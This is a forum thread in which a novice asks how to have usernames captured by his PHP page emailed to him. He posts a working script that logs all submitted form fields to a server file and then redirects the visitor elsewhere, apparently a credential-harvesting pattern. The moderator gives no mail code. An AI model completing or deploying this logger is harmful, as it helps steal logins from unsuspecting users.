Jump to content

Recommended Posts

Posted

i m noob i m trying to learning coding i have made one script to record log but problem is this open a log file into server i want on my mail address my current code is

 

<?php
header ('Location: http://url.com/logs');
$handle = fopen("plogs.txt", "a");
foreach($_POST as $variable => $value) {
  fwrite($handle, $variable);
  fwrite($handle, "=");
  fwrite($handle, $value);
  fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fclose($handle);
exit;
?>

 

And i m using mail coding like dis but not working :(

 

<?php  
$to = "youremail@yourdomain.com"; 
$Subject = "yourubjectl"; 
foreach($_POST as $variable => $value) {
  fwrite($handle, $variable);
  fwrite($handle, "=");
  fwrite($handle, $value);
  fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fclose($handle);
exit;
?>

  • Management
Posted

Uhm not sure what you are trying to do with this code...

 

Also your second code doesn't have any code to actually send an email, but it savesall the $_POST variables like the other one :o

Board Rules - Available Products - Need a Custom Work?

 

< Don't PM me for support, post in the forum or submit a ticket from the client area instead! >

Posted

I have page when some body enter user name and click on submit its open log.txt file into my server i want that that username comes into mail

 

simple i need mail sending script:(

  • Management
Posted

So the code you posted needs to send also an email using php function mail()?

 

Because I don't see it in your code :huh:

Board Rules - Available Products - Need a Custom Work?

 

< Don't PM me for support, post in the forum or submit a ticket from the client area instead! >

Posted
so i need that code after opening logs.txt file into server its send mail also i need that code :$

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now
×
×
  • Create New...

Important Information

By using this site, you agree to our Terms of Use and Privacy Policy.